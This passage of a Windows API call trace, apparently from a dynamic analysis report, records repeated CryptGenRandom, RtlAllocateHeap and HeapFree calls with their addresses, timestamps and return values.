(in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.116] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0147.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.123] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662764 | out: pbBuffer=0x3662764) returned 1 [0147.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0147.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3835fb0 [0147.127] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36628f4 | out: pbBuffer=0x36628f4) returned 1 [0147.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0147.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0147.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0147.130] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ee4 | out: pbBuffer=0x3662ee4) returned 1 [0147.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0147.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.134] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c8c | out: pbBuffer=0x3662c8c) returned 1 [0147.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0147.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0147.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3835fb0 [0147.138] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae6c | out: pbBuffer=0x366ae6c) returned 1 [0147.142] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0147.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0147.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0147.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0147.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0147.146] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af34 | out: pbBuffer=0x366af34) returned 1 [0147.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.158] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0147.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0147.161] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae94 | out: pbBuffer=0x366ae94) returned 1 [0147.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0147.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0147.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadc8 [0147.165] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0147.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0147.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.169] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0147.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0147.173] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0147.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0147.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0147.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae18 [0147.177] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acdc | out: pbBuffer=0x366acdc) returned 1 [0147.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0147.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.180] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0147.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0147.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0147.184] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a354 | out: pbBuffer=0x366a354) returned 1 [0147.188] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a28c | out: pbBuffer=0x366a28c) returned 1 [0147.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0147.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0147.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0147.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf08 [0147.192] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a1c4 | out: pbBuffer=0x366a1c4) returned 1 [0147.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0147.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0147.195] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a264 | out: pbBuffer=0x366a264) returned 1 [0147.198] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0147.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0147.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae40 [0147.202] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a214 | out: pbBuffer=0x366a214) returned 1 [0147.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0147.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0d4 | out: pbBuffer=0x366a0d4) returned 1 [0147.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0147.210] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a05c | out: pbBuffer=0x366a05c) returned 1 [0147.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0147.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0147.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3cc | out: pbBuffer=0x366a3cc) returned 1 [0147.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0147.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.219] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a084 | out: pbBuffer=0x366a084) returned 1 [0147.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0147.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.222] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a584 | out: pbBuffer=0x366a584) returned 1 [0147.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0147.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0147.226] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7b4 | out: pbBuffer=0x366a7b4) returned 1 [0147.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0147.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0147.231] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0ac | out: pbBuffer=0x366a0ac) returned 1 [0147.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0147.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8f4 | out: pbBuffer=0x366a8f4) returned 1 [0147.238] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0147.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0147.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0147.242] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a2dc | out: pbBuffer=0x366a2dc) returned 1 [0147.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0147.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.246] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8a4 | out: pbBuffer=0x366a8a4) returned 1 [0147.250] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7dc | out: pbBuffer=0x366a7dc) returned 1 [0147.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0147.253] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0147.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0147.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0147.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0147.257] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a6ec | out: pbBuffer=0x366a6ec) returned 1 [0147.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.261] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0147.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0147.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0147.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0147.265] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a78c | out: pbBuffer=0x366a78c) returned 1 [0147.269] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0147.273] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9bc | out: pbBuffer=0x366a9bc) returned 1 [0147.276] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0147.283] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3f4 | out: pbBuffer=0x366a3f4) returned 1 [0147.287] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a91c | out: pbBuffer=0x366a91c) returned 1 [0147.290] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aaac | out: pbBuffer=0x366aaac) returned 1 [0147.294] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0147.297] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aad4 | out: pbBuffer=0x366aad4) returned 1 [0147.301] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac8c | out: pbBuffer=0x366ac8c) returned 1 [0147.305] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a87c | out: pbBuffer=0x366a87c) returned 1 [0147.308] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0147.312] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab4c | out: pbBuffer=0x366ab4c) returned 1 [0147.315] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0147.319] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a674 | out: pbBuffer=0x366a674) returned 1 [0147.322] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a854 | out: pbBuffer=0x366a854) returned 1 [0147.326] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a96c | out: pbBuffer=0x366a96c) returned 1 [0147.329] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0147.332] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9e4 | out: pbBuffer=0x366a9e4) returned 1 [0147.336] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a994 | out: pbBuffer=0x366a994) returned 1 [0147.339] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0147.343] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a5ac | out: pbBuffer=0x366a5ac) returned 1 [0147.346] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a69c | out: pbBuffer=0x366a69c) returned 1 [0147.349] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab9c | out: pbBuffer=0x366ab9c) returned 1 [0147.353] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab24 | out: pbBuffer=0x366ab24) returned 1 [0147.356] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa5c | out: pbBuffer=0x366aa5c) returned 1 [0147.360] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa34 | out: pbBuffer=0x366aa34) returned 1 [0147.363] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a82c | out: pbBuffer=0x366a82c) returned 1 [0147.367] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a14c | out: pbBuffer=0x366a14c) returned 1 [0147.370] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a73c | out: pbBuffer=0x366a73c) returned 1 [0147.373] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aee4 | out: pbBuffer=0x366aee4) returned 1 [0147.387] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b55c | out: pbBuffer=0x366b55c) returned 1 [0147.391] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b7b4 | out: pbBuffer=0x366b7b4) returned 1 [0147.394] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b534 | out: pbBuffer=0x366b534) returned 1 [0147.398] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b4bc | out: pbBuffer=0x366b4bc) returned 1 [0147.401] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b5fc | out: pbBuffer=0x366b5fc) returned 1 [0147.405] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b69c | out: pbBuffer=0x366b69c) returned 1 [0147.408] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b64c | out: pbBuffer=0x366b64c) returned 1 [0147.411] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b82c | out: pbBuffer=0x366b82c) returned 1 [0147.415] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b6ec | out: pbBuffer=0x366b6ec) returned 1 [0147.418] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b624 | out: pbBuffer=0x366b624) returned 1 [0147.422] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b764 | out: pbBuffer=0x366b764) returned 1 [0147.425] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b7dc | out: pbBuffer=0x366b7dc) returned 1 [0147.429] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b0ac | out: pbBuffer=0x366b0ac) returned 1 [0147.435] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b264 | out: pbBuffer=0x366b264) returned 1 [0147.439] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1ec | out: pbBuffer=0x366b1ec) returned 1 [0147.442] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bcdc | out: pbBuffer=0x366bcdc) returned 1 [0147.446] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b174 | out: pbBuffer=0x366b174) returned 1 [0147.449] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b0fc | out: pbBuffer=0x366b0fc) returned 1 [0147.453] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b14c | out: pbBuffer=0x366b14c) returned 1 [0147.456] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b084 | out: pbBuffer=0x366b084) returned 1 [0147.460] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b37c | out: pbBuffer=0x366b37c) returned 1 [0147.463] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b32c | out: pbBuffer=0x366b32c) returned 1 [0147.467] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b2b4 | out: pbBuffer=0x366b2b4) returned 1 [0147.470] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b444 | out: pbBuffer=0x366b444) returned 1 [0147.473] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b3cc | out: pbBuffer=0x366b3cc) returned 1 [0147.477] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b50c | out: pbBuffer=0x366b50c) returned 1 [0147.480] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b854 | out: pbBuffer=0x366b854) returned 1 [0147.484] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba34 | out: pbBuffer=0x366ba34) returned 1 [0147.488] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bb4c | out: pbBuffer=0x366bb4c) returned 1 [0147.491] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bebc | out: pbBuffer=0x366bebc) returned 1 [0147.494] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bafc | out: pbBuffer=0x366bafc) returned 1 [0147.498] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc64 | out: pbBuffer=0x366bc64) returned 1 [0147.501] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc14 | out: pbBuffer=0x366bc14) returned 1 [0147.505] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bb74 | out: pbBuffer=0x366bb74) returned 1 [0147.509] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bf0c | out: pbBuffer=0x366bf0c) returned 1 [0147.512] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b96c | out: pbBuffer=0x366b96c) returned 1 [0147.515] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b5d4 | out: pbBuffer=0x366b5d4) returned 1 [0147.533] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0147.570] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0147.576] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0147.587] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0147.675] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bc4 | out: pbBuffer=0x3668bc4) returned 1 [0147.682] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0147.692] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0147.706] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0147.715] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366823c | out: pbBuffer=0x366823c) returned 1 [0147.720] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0147.723] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664df4 | out: pbBuffer=0x3664df4) returned 1 [0147.729] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ee4 | out: pbBuffer=0x3664ee4) returned 1 [0147.732] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0147.737] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0147.741] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36648a4 | out: pbBuffer=0x36648a4) returned 1 [0147.746] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664e94 | out: pbBuffer=0x3664e94) returned 1 [0147.750] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f34 | out: pbBuffer=0x3664f34) returned 1 [0147.776] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664bc4 | out: pbBuffer=0x3664bc4) returned 1 [0147.781] 